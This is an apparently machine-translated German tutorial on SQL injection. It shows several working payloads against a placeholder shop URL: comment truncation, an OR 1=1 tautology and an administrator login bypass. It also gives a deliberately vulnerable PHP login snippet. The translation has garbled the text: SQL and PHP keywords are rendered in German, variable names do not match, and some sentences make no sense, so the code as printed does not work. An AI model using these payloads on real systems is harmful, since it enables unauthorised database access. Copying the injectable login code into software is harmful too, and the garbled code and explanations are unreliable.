Wie man Sql-Injection macht

Was ist SQL-Injection (SQLi)?

Die SQL-Injection ist einer der häufigsten Web-Angriffsmechanismen, die von Angreifern verwendet werden, um Aufzeichnungen und vertrauliche Aufzeichnungen von Geschäfts- oder Social-Media-Plattformen zu stehlen. Während SQL Injection alle Informationen einer Anwendung verlieren kann, die eine SQL-Datenbank verwendet, wird es am häufigsten verwendet, um Web-Websites anzugreifen. SQL Injection ist eine Code-Injection-Technik, mit der Hacker schädliche SQL-Anweisungen in Eingabeabfragen einfügen können, um sie über die zugrunde liegende SQL-Datenbank auszuführen. Dieses Verfahren wird durch eine ungeeignete Codierung von geneigten Bahnpaketen durchführbar gemacht. Die SQL-Injektion steigt aufgrund des tatsächlichen Zugriffs auf Eingabefelder, die für Benutzer verfügbar gemacht werden, um alle schlechten Arten von SQL-Anweisungen einzugeben, um sie zu durchlaufen und Abfragen direkt in die Datenbank einzufügen.

Verschiedene Arten von Injektionen



  • Ändern Sie die SQL-Abfrage und rufen Sie zusätzliche Informationen aus der Datenbank ab. Wir können sagen, dass dies das Abrufen versteckter Daten aus Tabellen ist.
  • Greifen Sie in die Geschäftslogik ein und ändern Sie die Abfrage, um die Anwendungslogik zu ändern.
  • Holen Sie sich Daten aus verschiedenen Tabellen in der Datenbank und greifen Sie sie an. Dies wird als UNION-Angriffe bezeichnet.
  • Untersuchen der Datenbank, in der Sie Informationen über die Version und Struktur der Datenbank extrahieren können.

Holen Sie sich versteckte Daten

Lassen Sie uns diese URL in Ihren Browser eingeben und die Bonuskategorien aus der Tabelle abrufen:

https://insecure-website.com/products?category=Bonus

Dies veranlasst die Anwendung, eine SQL-Frage zu stellen, um Informationen zu den relevanten Waren aus der Datenbank wie folgt abzurufen:

WÄHLEN AUS Fan-Shop WO Kategorie = „Bonus“ UND freigegeben = 1

Diese SQL-Abfrage fordert die Datenbank auf, Folgendes zurückzugeben:

  • alle Infos (*)
  • Von der Produkttheke
  • Wobei die Kategorie Bonus ist
  • Und freigegeben ist 1

Die Software setzt keine Verteidigung gegen SQL-Injection-Angriffe in Kraft, sodass ein Angreifer einen Angriff wie den folgenden zusammenstellen kann:

https://insecure-website.com/products?category=Bonus’ – –

Das Ergebnis der obigen Abfrage ist:

SELECT * FROM products WHERE category = ‘Bonus’–‘ UND freigegeben = 1

Die Schlüsselkomponente hier ist, dass die Doppelstrich-Reihe — ein Bemerkungsindikator in SQL ist und bedeutet, dass der Rest der Frage als Kommentar interpretiert wird. Dadurch wird der Rest der Abfrage erfolgreich entfernt, sodass sie nicht mehr UND gestartet = 1 enthält. Auf diese Weise werden alle Produkte angezeigt, z. B. unveröffentlichte Produkte.

Eine andere Methode für die SQL-Injection:

https://insecure-website.com/products?category=Bonus’+OR+1=1–

Das Ergebnis:

SELECT * FROM products WHERE category = ‘Bonus’ OR 1=1–‘ AND released = 1

Mit der obigen Abfrage können Sie die Datenbank leicht angreifen.

Ändern Sie die Anwendungslogik

Umgehen Sie das Anmeldekonto mit der folgenden Abfrage:

WÄHLEN AUS Benutzer WO Benutzername = „john“ UND Passwort = „johnwilliam“

Protokoll des Angreifers mit dem Benutzernamen ohne Passwort, in der SQL-Abfrage verwenden Sie – – doppeltes Bindestrich-Passwort und kommentieren Sie es in der Where-Klausel. Senden Sie beispielsweise eine Abfrage mit dem Benutzernamen Administrator und einem leeren Kennwortfeld. Abfrage ist:

SELECT * FROM users WHERE username = ‘administrator’ – – ‘ AND password =

Sie sind auch viele Methoden für die SQL-Injection.

Anleitung zur SQL-Injection auf der Anmeldeseite

Ein einfacher PHP-Code für die SQL-Injection auf der Anmeldeseite ist unten angegeben:

$uname = $_POST [‘ uname‘ ] ;

$Passwort = $_POST [‘Passwort‘] ;

$query = ‘ Benutzername auswählen, von Benutzern übergeben, wobei Benutzername = ‘ $uname ‘ und Passwort = ‘ $passwrd

$ergebnis = mysql_query ( $abfrage ) ;

$zeilen = mysql_fetch_array ( $ergebnis );

Wenn ($rows)

{

echo „Sie haben sich erfolgreich angemeldet“;
create_session( ) ;

}

anders {

echo „Viel Glück beim nächsten Mal“;
}